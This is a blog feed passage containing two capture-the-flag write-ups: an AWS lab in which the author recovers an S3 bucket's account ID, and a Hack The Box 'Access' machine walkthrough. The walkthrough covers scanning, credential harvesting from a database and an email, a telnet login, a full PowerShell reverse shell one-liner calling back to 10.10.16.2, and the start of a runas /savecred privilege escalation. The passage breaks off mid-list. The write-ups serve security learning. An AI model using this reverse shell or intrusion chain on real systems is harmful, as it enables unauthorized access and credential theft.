&lt;li&gt;&lt;strong&gt;Arn&lt;/strong&gt;: Amazon Resource Name showing this is an IAM user named &quot;s3user&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;S3 Bucket Discovery &amp;amp; Enumeration&lt;/h1&gt;
&lt;h2&gt;Web Application Analysis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Browsing to the target IP reveals a web application:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612163727.png&quot; alt=&quot;Pasted image 20250612163727.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Source Code Inspection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Examining the HTML source code reveals references to an S3 bucket named &lt;code&gt;mega-big-tech&lt;/code&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612155415.png&quot; alt=&quot;Pasted image 20250612155415.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why Check Source Code:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web applications often reference cloud storage directly in HTML/CSS/JavaScript&lt;/li&gt;
&lt;li&gt;S3 bucket names must be globally unique, making them valuable intelligence&lt;/li&gt;
&lt;li&gt;Static assets (images, CSS, JS) are commonly served from S3 buckets&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;S3 Bucket Content Enumeration&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Listing files in the discovered S3 bucket:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;aws s3 ls s3://mega-big-tech --recursive --no-sign-request
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612155619.png&quot; alt=&quot;Pasted image 20250612155619.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Command Breakdown:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;--recursive&lt;/code&gt;: Lists all objects in subdirectories&lt;/li&gt;
&lt;li&gt;&lt;code&gt;--no-sign-request&lt;/code&gt;: Attempts anonymous access (for public buckets)&lt;/li&gt;
&lt;li&gt;Results show typical web assets (images, stylesheets)&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Account ID Discovery Challenges&lt;/h1&gt;
&lt;h2&gt;Initial Research &amp;amp; Attempts&lt;/h2&gt;
&lt;p&gt;The goal was to find the AWS Account ID associated with the S3 bucket, not just the credentials we were given.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;First Attempt - Manual Techniques:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Researched various methodologies for S3 bucket account ID discovery&lt;/li&gt;
&lt;li&gt;Found article: https://tracebit.com/blog/how-to-find-the-aws-account-id-of-any-s3-bucket&lt;/li&gt;
&lt;li&gt;Attempted the suggested scripts but encountered issues&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Second Attempt - Automated Tools:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tried GitHub tool: https://github.com/WeAreCloudar/s3-account-search&lt;/li&gt;
&lt;li&gt;Provided ARN and role information but still encountered problems&lt;/li&gt;
&lt;li&gt;This tool uses IAM role assumption techniques to extract account information&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Learning Moment&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;After multiple failed attempts, I consulted writeup hints to understand the correct approach 😗&lt;/li&gt;
&lt;li&gt;This is a common part of the learning process in cybersecurity - sometimes you need guidance to understand advanced techniques&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;The Solution - S3 Account Search Tool&lt;/h1&gt;
&lt;h2&gt;Discovering the Hint&lt;/h2&gt;
&lt;p&gt;From the lab documentation:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;💡 The flag in this lab is the AWS account ID associated with the S3 bucket. The IAM user credentials are provided, and the role you can assume is named &lt;code&gt;arn:aws:iam::427648302155:role/LeakyBucket&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Understanding the Technique&lt;/h2&gt;
&lt;p&gt;The technique involves:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;IAM Role Assumption&lt;/strong&gt;: Using the provided credentials to assume a role&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error Message Analysis&lt;/strong&gt;: AWS returns different errors for valid vs. invalid account IDs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Brute Force Enumeration&lt;/strong&gt;: Systematically testing account ID possibilities&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Technical Deep Dive: How S3 Account Search Works&lt;/h2&gt;
&lt;p&gt;The &lt;code&gt;s3-account-search&lt;/code&gt; tool exploits AWS&apos;s verbose error messaging:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Role Assumption Attempt&lt;/strong&gt;: Tries to assume a role in different AWS accounts&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Error Message Analysis&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Invalid account ID: &quot;No such account exists&quot;&lt;/li&gt;
&lt;li&gt;Valid account ID but no permission: &quot;Access denied&quot; or similar&lt;/li&gt;
&lt;li&gt;Valid account ID with misconfigured permissions: May succeed&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Pattern Recognition&lt;/strong&gt;: Different AWS services return subtly different error messages that can reveal account existence&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Successful Enumeration&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;pip install s3-account-search
s3-account-search arn:aws:iam::427648302155:role/LeakyBucket s3://mega-big-tech
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250612162844.png&quot; alt=&quot;Pasted image 20250612162844.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Command Explanation:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Uses the &lt;code&gt;LeakyBucket&lt;/code&gt; role in account &lt;code&gt;427648302155&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Targets the &lt;code&gt;mega-big-tech&lt;/code&gt; S3 bucket&lt;/li&gt;
&lt;li&gt;Leverages cross-account role assumption techniques&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;AccountId: 107513503799
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Technical Analysis: Why This Works&lt;/h1&gt;
&lt;h2&gt;AWS IAM Role Assumption Process&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Cross-Account Roles&lt;/strong&gt;: AWS allows roles to be assumed across account boundaries&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Trust Policies&lt;/strong&gt;: The &lt;code&gt;LeakyBucket&lt;/code&gt; role likely has a trust policy allowing the &lt;code&gt;s3user&lt;/code&gt; to assume it&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error Enumeration&lt;/strong&gt;: The tool exploits differences in AWS error responses to identify valid account IDs&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;The Vulnerability Chain&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Exposed Credentials&lt;/strong&gt;: IAM user credentials available in the engagement&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Permissive Role Trust Policy&lt;/strong&gt;: The &lt;code&gt;LeakyBucket&lt;/code&gt; role allows assumption from our user&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verbose Error Messages&lt;/strong&gt;: AWS provides enough detail in errors to enumerate account IDs&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;S3 Bucket Metadata&lt;/strong&gt;: The bucket&apos;s true owner (account ID) is discoverable through this process&lt;/li&gt;
&lt;/ol&gt;
</content:encoded></item><item><title>HTB Machine Access May 2025</title><link>https://fuwari.vercel.app/posts/htb-machine-access/notes/</link><guid isPermaLink="true">https://fuwari.vercel.app/posts/htb-machine-access/notes/</guid><description>Writeup of HTB Access Machine.</description><pubDate>Thu, 22 May 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Scanning&lt;/h1&gt;
&lt;h2&gt;Rustscan&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;rustscan -a 10.10.10.98 -b 100
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522171633.png&quot; alt=&quot;Pasted image 20250522171633.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Nmap&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;nmap -sC -sV -T5 -oA nmap/initials 10.10.10.98
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;# Nmap 7.94SVN scan initiated Thu May 22 14:38:21 2025 as: nmap -sC -sV -T5 -oA nmap/initials 10.10.10.98
Nmap scan report for 10.10.10.98 (10.10.10.98)
Host is up (0.18s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Microsoft ftpd
| ftp-syst: 
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can not get directory listing: PASV failed: 425 Cannot open data connection.
23/tcp open  telnet  Microsoft Windows XP telnetd
| telnet-ntlm-info: 
|   Target_Name: ACCESS
|   NetBIOS_Domain_Name: ACCESS
|   NetBIOS_Computer_Name: ACCESS
|   DNS_Domain_Name: ACCESS
|   DNS_Computer_Name: ACCESS
|_  Product_Version: 6.1.7600
80/tcp open  http    Microsoft IIS httpd 7.5
|_http-server-header: Micros
oft-IIS/7.5
|_http-title: MegaCorp
| http-methods: 
|_  Potentially risky methods: TRACE
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: 4s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May 22 14:39:05 2025 -- 1 IP address (1 host up) scanned in 43.64 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Key Findings:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Port 21&lt;/strong&gt; - FTP with Anonymous login allowed (this looks juicy! 🍖)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Port 23&lt;/strong&gt; - Telnet service running&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Port 80&lt;/strong&gt; - IIS 7.5 (older version, potentially vulnerable)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;The FTP anonymous access immediately caught my attention - it&apos;s like finding an unlocked door in a security assessment!&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h1&gt;Enumeration&lt;/h1&gt;
&lt;h2&gt;FTP Anonymous Access&lt;/h2&gt;
&lt;p&gt;First, I checked the FTP anonymous login since it looked very promising, and boy, it delivered! I discovered two interesting directories:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Backups\backup.mdb&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Engineers\Active Control.zip&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522171847.png&quot; alt=&quot;Pasted image 20250522171847.png&quot; /&gt; &lt;img src=&quot;images/Pasted_image_20250522171958.png&quot; alt=&quot;Pasted image 20250522171958.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;File Download Process&lt;/h2&gt;
&lt;p&gt;I downloaded these files using the &lt;code&gt;get&lt;/code&gt; command, but here&apos;s a crucial tip: you need to set &lt;code&gt;binary&lt;/code&gt; mode for proper file transfer, otherwise you&apos;ll encounter some weird errors that&apos;ll make you question your life choices.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522172308.png&quot; alt=&quot;Pasted image 20250522172308.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Initial File Analysis&lt;/h2&gt;
&lt;p&gt;After downloading, I discovered:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;backup.mdb&lt;/code&gt; is a &lt;strong&gt;Microsoft Access Database&lt;/strong&gt; file&lt;/li&gt;
&lt;li&gt;The zip file is password-protected (of course it is! 🔐)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522172342.png&quot; alt=&quot;Pasted image 20250522172342.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Database Analysis&lt;/h2&gt;
&lt;p&gt;I analyzed the &lt;code&gt;backup.mdb&lt;/code&gt; file and found numerous table names. Here&apos;s the complete list for reference:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522172517.png&quot; alt=&quot;Pasted image 20250522172517.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;acc_antiback | acc_door | acc_firstopen | acc_firstopen_emp | acc_holidays | acc_interlock | acc_levelset | acc_levelset_door_group | acc_linkageio | acc_map | acc_mapdoorpos | acc_morecardempgroup | acc_morecardgroup | acc_timeseg | acc_wiegandfmt | ACGroup | acholiday | ACTimeZones | action_log | AlarmLog | areaadmin | att_attreport | att_waitforprocessdata | attcalclog | attexception | AuditedExc | auth_group_permissions | auth_message | auth_permission | auth_user | auth_user_groups | auth_user_user_permissions | base_additiondata | base_appoption | base_basecode | base_datatranslation | base_operatortemplate | base_personaloption | base_strresource | base_strtranslation | base_systemoption | CHECKEXACT | CHECKINOUT | dbbackuplog | DEPARTMENTS | deptadmin | DeptUsedSchs | devcmds | devcmds_bak | django_content_type | django_session | EmOpLog | empitemdefine | EXCNOTES | FaceTemp | iclock_dstime | iclock_oplog | iclock_testdata | iclock_testdata_admin_area | iclock_testdata_admin_dept | LeaveClass | LeaveClass1 | Machines | NUM_RUN | NUM_RUN_DEIL | operatecmds | personnel_area | personnel_cardtype | personnel_empchange | personnel_leavelog | ReportItem | SchClass | SECURITYDETAILS | ServerLog | SHIFT | TBKEY | TBSMSALLOT | TBSMSINFO | TEMPLATE | USER_OF_RUN | USER_SPEDAY | UserACMachines | UserACPrivilege | USERINFO | userinfo_attarea | UsersMachines | UserUpdates | worktable_groupmsg | worktable_instantmsg | worktable_msgtype | worktable_usrmsg | ZKAttendanceMonthStatistics | acc_levelset_emp | acc_morecardset | ACUnlockComb | AttParam | auth_group | AUTHDEVICE | base_option | dbapp_viewmodel | FingerVein | devlog | HOLIDAYS | personnel_issuecard | SystemLog | USER_TEMP_SCH | UserUsedSClasses | acc_monitor_log | OfflinePermitGroups | OfflinePermitUsers | OfflinePermitDoors | LossCard | TmpPermitGroups | TmpPermitUsers | TmpPermitDoors | ParamSet | acc_reader | acc_auxiliary | STD_WiegandFmt | CustomReport | ReportField | BioTemplate | FaceTempEx | FingerVeinEx | TEMPLATEEx
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Database Content Extraction&lt;/h2&gt;
&lt;p&gt;I used the online MDB viewer at &lt;code&gt;https://www.mdbopener.com/&lt;/code&gt; to open the database file and downloaded it as an Excel file for easier analysis.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522172807.png&quot; alt=&quot;Pasted image 20250522172807.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Credential Discovery&lt;/h2&gt;
&lt;p&gt;After thoroughly examining all tables, I struck gold in the &lt;code&gt;auth_user&lt;/code&gt; table, which contained some tasty credentials:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522173143.png&quot; alt=&quot;Pasted image 20250522173143.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;|id|username    |password         |Status  |last_login|RoleID|Remark|
|25| admin      |admin            |1       |08/23/18 21:11:47|26||
|27|engineer    |access4u@security|1       |08/23/18 21:13:36|26||
|28|backup_admin|admin            |1       |08/23/18 21:14:02|26||
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;ZIP File Password Cracking&lt;/h2&gt;
&lt;p&gt;Remember that encrypted zip file from the engineer&apos;s folder? Well, &lt;code&gt;access4u@security&lt;/code&gt; looked like a perfect candidate for the password, and guess what? It worked like a charm! 🎯&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522173554.png&quot; alt=&quot;Pasted image 20250522173554.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;PST File Analysis&lt;/h2&gt;
&lt;p&gt;The zip file contained a &lt;code&gt;.pst&lt;/code&gt; (Microsoft Outlook Personal Storage) file:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522173641.png&quot; alt=&quot;Pasted image 20250522173641.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;I used &lt;code&gt;pst-utils&lt;/code&gt; to extract the content from this file, which generated an &lt;code&gt;.mbox&lt;/code&gt; file containing HTML-formatted email data.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522173900.png&quot; alt=&quot;Pasted image 20250522173900.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Email Content Analysis&lt;/h2&gt;
&lt;p&gt;From the extracted email file, I discovered another set of credentials for the &lt;code&gt;Security&lt;/code&gt; user with the password &lt;code&gt;4Cc3ssC0ntr0ller&lt;/code&gt;. Since we know Telnet is available on port 23, these credentials are likely our ticket in!&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;From &quot;john@megacorp.com&quot; Fri Aug 24 05:14:07 2018
Status: RO
From: john@megacorp.com &amp;lt;john@megacorp.com&amp;gt;
Subject: MegaCorp Access Control System &quot;security&quot; account
To: &apos;security@accesscontrolsystems.com&apos;
Date: Thu, 23 Aug 2018 23:44:07 +0000
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary=&quot;--boundary-LibPST-iamunique-928963397_-_-&quot;


----boundary-LibPST-iamunique-928963397_-_-
Content-Type: multipart/alternative;
	boundary=&quot;alt---boundary-LibPST-iamunique-928963397_-_-&quot;

--alt---boundary-LibPST-iamunique-928963397_-_-
Content-Type: text/plain; charset=&quot;utf-8&quot;

Hi there,

 

The password for the &quot;security&quot; account has been changed to 4Cc3ssC0ntr0ller.  Please ensure this is passed on to your engineers.

 

Regards,

John


--alt---boundary-LibPST-iamunique-928963397_-_-
Content-Type: text/html; charset=&quot;us-ascii&quot;

&amp;lt;html xmlns:v=&quot;urn:schemas-microsoft-com:vml&quot; xmlns:o=&quot;urn:schemas-microsoft-com:office:office&quot; xmlns:w=&quot;urn:schemas-microsoft-com:office:word&quot; xmlns:m=&quot;http://schemas.microsoft.com/office/2004/12/omml&quot; xmlns=&quot;http://www.w3.org/TR/REC-html40&quot;&amp;gt;&amp;lt;head&amp;gt;&amp;lt;meta http-equiv=Content-Type content=&quot;text/html; charset=us-ascii&quot;&amp;gt;&amp;lt;meta name=Generator content=&quot;Microsoft Word 15 (filtered medium)&quot;&amp;gt;&amp;lt;style&amp;gt;&amp;lt;!--
/* Font Definitions */
@font-face
	{font-family:&quot;Cambria Math&quot;;
	panose-1:0 0 0 0 0 0 0 0 0 0;}
@font-face
	{font-family:Calibri;
	panose-1:2 15 5 2 2 2 4 3 2 4;}
/* Style Definitions */
p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:11.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;}
a:link, span.MsoHyperlink
	{mso-style-priority:99;
	color:#0563C1;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{mso-style-priority:99;
	color:#954F72;
	text-decoration:underline;}
p.msonormal0, li.msonormal0, div.msonormal0
	{mso-style-name:msonormal;
	mso-margin-top-alt:auto;
	margin-right:0in;
	mso-margin-bottom-alt:auto;
	margin-left:0in;
	font-size:11.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;}
span.EmailStyle18
	{mso-style-type:personal-compose;
	font-family:&quot;Calibri&quot;,sans-serif;
	color:windowtext;}
.MsoChpDefault
	{mso-style-type:export-only;
	font-size:10.0pt;
	font-family:&quot;Calibri&quot;,sans-serif;}
@page WordSection1
	{size:8.5in 11.0in;
	margin:1.0in 1.0in 1.0in 1.0in;}
div.WordSection1
	{page:WordSection1;}
--&amp;gt;&amp;lt;/style&amp;gt;&amp;lt;!--[if gte mso 9]&amp;gt;&amp;lt;xml&amp;gt;
&amp;lt;o:shapedefaults v:ext=&quot;edit&quot; spidmax=&quot;1026&quot; /&amp;gt;
&amp;lt;/xml&amp;gt;&amp;lt;![endif]--&amp;gt;&amp;lt;!--[if gte mso 9]&amp;gt;&amp;lt;xml&amp;gt;
&amp;lt;o:shapelayout v:ext=&quot;edit&quot;&amp;gt;
&amp;lt;o:idmap v:ext=&quot;edit&quot; data=&quot;1&quot; /&amp;gt;
&amp;lt;/o:shapelayout&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;![endif]--&amp;gt;&amp;lt;/head&amp;gt;&amp;lt;body lang=EN-US link=&quot;#0563C1&quot; vlink=&quot;#954F72&quot;&amp;gt;&amp;lt;div class=WordSection1&amp;gt;&amp;lt;p class=MsoNormal&amp;gt;Hi there,&amp;lt;o:p&amp;gt;&amp;lt;/o:p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=MsoNormal&amp;gt;&amp;lt;o:p&amp;gt;&amp;amp;nbsp;&amp;lt;/o:p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=MsoNormal&amp;gt;The password for the &amp;amp;#8220;security&amp;amp;#8221; account has been changed to 4Cc3ssC0ntr0ller.&amp;amp;nbsp; Please ensure this is passed on to your engineers.&amp;lt;o:p&amp;gt;&amp;lt;/o:p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=MsoNormal&amp;gt;&amp;lt;o:p&amp;gt;&amp;amp;nbsp;&amp;lt;/o:p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=MsoNormal&amp;gt;Regards,&amp;lt;o:p&amp;gt;&amp;lt;/o:p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;p class=MsoNormal&amp;gt;John&amp;lt;o:p&amp;gt;&amp;lt;/o:p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/div&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;
--alt---boundary-LibPST-iamunique-928963397_-_---

----boundary-LibPST-iamunique-928963397_-_---
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Exploitation&lt;/h1&gt;
&lt;h2&gt;Telnet Authentication&lt;/h2&gt;
&lt;p&gt;Time to put these credentials to the test! I attempted to login via Telnet using:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Username&lt;/strong&gt;: &lt;code&gt;security&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Password&lt;/strong&gt;: &lt;code&gt;4Cc3ssC0ntr0ller&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Success! We&apos;re in the system! 🎉&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522174352.png&quot; alt=&quot;Pasted image 20250522174352.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;User Flag Capture&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;After gaining access, I was able to retrieve the user flag:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;52a53e342f7c24182f28cdef8ba4b490
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Post Exploitation&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Now comes the fun part - but also the frustrating part! This shell is incredibly unstable, and many standard payloads just refuse to cooperate. Let me share my journey through payload hell:&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Initial Payload Struggles&lt;/h2&gt;
&lt;p&gt;I tried multiple approaches, all of which failed spectacularly:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Certutil&lt;/strong&gt; for payload delivery + &lt;strong&gt;Metasploit crafted exe&lt;/strong&gt; → Failed! 💥&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PowerShell one-liner&lt;/strong&gt; for payload delivery + &lt;strong&gt;Metasploit PowerShell payload&lt;/strong&gt; → Failed again! 💥&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Invoke-PowerShellTcp&lt;/strong&gt; &lt;a href=&quot;https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1&quot;&gt;Nishang Shell&lt;/a&gt; → Still failed! 💥&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;The Solution That Actually Worked&lt;/h2&gt;
&lt;h3&gt;You might be wondering: &quot;Then what&apos;s the solution?&quot;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;I realized the issue was likely due to being in a &lt;code&gt;cmd&lt;/code&gt; prompt environment, so I decided to get a proper PowerShell session first. Enter &lt;a href=&quot;https://www.revshells.com/&quot;&gt;RevShells&lt;/a&gt; - the unexpected hero of this engagement!&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522175721.png&quot; alt=&quot;Pasted image 20250522175721.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here&apos;s the life-saving payload that actually worked:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;powershell -nop -W hidden -noni -ep bypass -c &quot;$TCPClient = New-Object Net.Sockets.TCPClient(&apos;10.10.16.2&apos;, 1337);$NetworkStream = $TCPClient.GetStream();$StreamWriter = New-Object IO.StreamWriter($NetworkStream);function WriteToStream ($String) {[byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0};$StreamWriter.Write($String + &apos;SHELL&amp;gt; &apos;);$StreamWriter.Flush()}WriteToStream &apos;&apos;;while(($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {$Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1);$Output = try {Invoke-Expression $Command 2&amp;gt;&amp;amp;1 | Out-String} catch {$_ | Out-String}WriteToStream ($Output)}$StreamWriter.Close()&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Finally! A working shell! 🎯&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522180537.png&quot; alt=&quot;Pasted image 20250522180537.png&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Privilege Escalation Discovery&lt;/h2&gt;
&lt;h3&gt;Cached Credentials Detection&lt;/h3&gt;
&lt;p&gt;Running &lt;code&gt;cmdkey /list&lt;/code&gt; revealed that administrator credentials are cached on the system:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522211253.png&quot; alt=&quot;Pasted image 20250522211253.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Shortcut File Analysis&lt;/h3&gt;
&lt;p&gt;I discovered an interesting shortcut file at &lt;code&gt;C:\Users\Public\Desktop\ZKAccess3.5 Security System.lnk&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522180611.png&quot; alt=&quot;Pasted image 20250522180611.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;To find the actual executable and its arguments, I used this PowerShell command:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;powershell -command &quot;$s = (New-Object -ComObject WScript.Shell).CreateShortcut(&apos;ZKAccess3.5 Security System.lnk&apos;); Write-Output $s.TargetPath; Write-Output $s.Arguments&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20250522180453.png&quot; alt=&quot;Pasted image 20250522180453.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The output revealed:&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;C:\Windows\System32\runas.exe
/user:ACCESS\Administrator /savecred &quot;C:\ZKTeco\ZKAccess3.5\Access.exe&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Understanding the Privilege Escalation Vector&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;This is our privilege escalation point! The &lt;code&gt;runas.exe&lt;/code&gt; binary (a built-in Windows utility) allows running specific programs with different user credentials. In this case, it&apos;s configured to run &lt;code&gt;Access.exe&lt;/code&gt; with Administrator privileges using cached credentials (&lt;code&gt;/savecred&lt;/code&gt; flag).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
